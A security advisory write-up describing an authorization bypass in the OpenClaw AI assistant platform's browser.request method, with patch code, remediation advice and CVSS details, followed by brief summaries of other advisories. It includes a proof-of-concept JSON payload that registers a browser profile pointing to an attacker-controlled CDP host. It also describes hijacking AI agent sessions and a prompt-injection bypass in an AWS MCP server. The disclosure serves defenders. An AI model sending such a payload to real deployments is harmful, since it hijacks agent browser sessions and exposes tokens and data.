Mar 14, 2026·5 min read·111 visits
OpenClaw prior to version 2026.3.11 fails to restrict access to internal browser profile management routes. Authenticated users with operator.write scope can create or delete persistent browser profiles, enabling infrastructure hijacking.
A high-severity authorization bypass vulnerability exists in the OpenClaw AI assistant platform. It permits users with write-scoped permissions to interact with restricted administrative endpoints. This flaw enables attackers to modify or delete persistent browser profiles, hijacking browser infrastructure via malicious Chrome DevTools Protocol (CDP) URLs.
OpenClaw is an open-source AI assistant platform that integrates remote browser control via a central gateway. The platform utilizes persistent browser profiles to manage connections to remote browser instances using the Chrome DevTools Protocol (CDP).
The vulnerability, identified as GHSA-VMHQ-CQM9-6P7Q, resides within the browser.request method exposed by the OpenClaw gateway. This method facilitates interaction with the browser control surface for authorized agents and operators. A flaw in the authorization logic permits accounts with only operator.write privileges to access administrative endpoints.
By exploiting this incorrect authorization (CWE-863), a low-privileged user can manipulate the routing logic. This allows the unauthorized creation or deletion of persistent browser profiles, leading to severe integrity and availability impacts on the platform's browser infrastructure.
The OpenClaw gateway routes incoming commands to an internal node registry. The browser.request method acts as an interface for callers with write-scoped permissions to perform operational tasks. The implementation blindly forwarded requests based on the provided path and method without strictly validating the destination against a list of allowed endpoints.
Internal administrative routes, specifically POST /profiles/create and DELETE /profiles/:name, were inadvertently exposed to this request forwarding mechanism. These endpoints are strictly intended for administrative use to provision or decommission persistent browser infrastructure.
Because the browser.request handler did not filter out mutations to the /profiles namespace, any authenticated entity possessing operator.write permissions could craft a payload targeting these administrative routes. The system processed these requests within the elevated context of the gateway, bypassing intended access controls entirely.
The vulnerable implementation in src/gateway/server-methods/browser.ts accepted arbitrary paths within the browser.request handler. The fix introduces a dedicated validation function named isPersistentBrowserProfileMutation to intercept and block administrative path requests.
function isPersistentBrowserProfileMutation(method: string, path: string): boolean {
const normalizedPath = normalizeBrowserRequestPath(path);
// Block profile creation
if (method === "POST" && normalizedPath === "/profiles/create") {
return true;
}
// Block profile deletion
return method === "DELETE" && /^\/profiles\/[^/]+$/.test(normalizedPath);
}The patch integrates this validation step directly into the browserHandlers.request pipeline. If the function returns true, the gateway immediately rejects the payload with an INVALID_REQUEST error code, preventing the call from reaching the internal node registry.
if (isPersistentBrowserProfileMutation(methodRaw, path)) {
respond(
false,
undefined,
errorShape(
ErrorCodes.INVALID_REQUEST,
"browser.request cannot create or delete persistent browser profiles",
),
);
return;
}This explicit deny-list approach effectively neutralizes the authorization bypass for the identified endpoints. Developers must ensure that any future administrative endpoints added to the /profiles namespace or similar internal routes are also explicitly protected to prevent variant attacks.
Exploitation requires the attacker to possess an active OpenClaw operator account or control a subagent provisioned with operator.write permissions. The attacker utilizes the browser.request API method to deliver a malicious payload to the gateway.
The attack vector involves sending a POST request directed at the /profiles/create endpoint. The attacker includes a custom name parameter and a malicious cdpUrl pointing to an attacker-controlled infrastructure. The gateway processes the request and instantiates the new persistent profile.
{
"method": "POST",
"path": "/profiles/create",
"body": {
"name": "hijacked-profile",
"cdpUrl": "http://attacker-controlled-ip:9222"
}
}Once the profile is created, any subsequent automated tasks or agent sessions configured to use that profile will connect directly to the attacker's Chrome DevTools Protocol endpoint. The attacker can also degrade service availability by issuing a DELETE request to /profiles/default or other active profile names, abruptly terminating existing browser sessions.
The vulnerability carries a CVSS v3.1 base score of 7.1, reflecting a high-severity flaw. The primary security impact is a high integrity violation, as the attacker gains the ability to provision unauthorized infrastructure within the platform's trusted environment.
Hijacking the Chrome DevTools Protocol (CDP) connection grants the attacker profound control over the browser sessions. The attacker can execute arbitrary JavaScript within the context of the remote browser, access sensitive session tokens, and exfiltrate data processed by the AI agents.
Furthermore, the availability impact is classified as low but remains significant in production environments. An attacker can systematically delete all existing persistent browser profiles, causing denial-of-service conditions for automated workflows relying on those profiles. The attack vector requires no user interaction and operates seamlessly over the network.
The vulnerability is resolved in OpenClaw version 2026.3.11. Administrators must upgrade their gateway deployments immediately to prevent exploitation via the browser.request API. No configuration changes are required for the patch to take effect; the mitigation is handled entirely at the code level.
Organizations should conduct a thorough audit of their existing OpenClaw persistent browser profiles. Administrators must verify that all registered profiles and associated Chrome DevTools Protocol (CDP) URLs point to legitimate, trusted infrastructure. Any unrecognized profiles should be purged immediately.
Security teams must enforce the principle of least privilege across the OpenClaw deployment. Ensure that operator.write permissions are exclusively granted to trusted identities and automated subagents. Restricting these privileges reduces the overall attack surface and limits the potential for internal privilege escalation.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
OpenClaw OpenClaw | < 2026.3.11 | 2026.3.11 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-863 |
| Attack Vector | Network |
| CVSS Base Score | 7.1 |
| Privileges Required | Low (operator.write) |
| Integrity Impact | High |
| Exploit Status | Proof of Concept |
The software performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.
A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.
OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.
An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.
A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.
An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.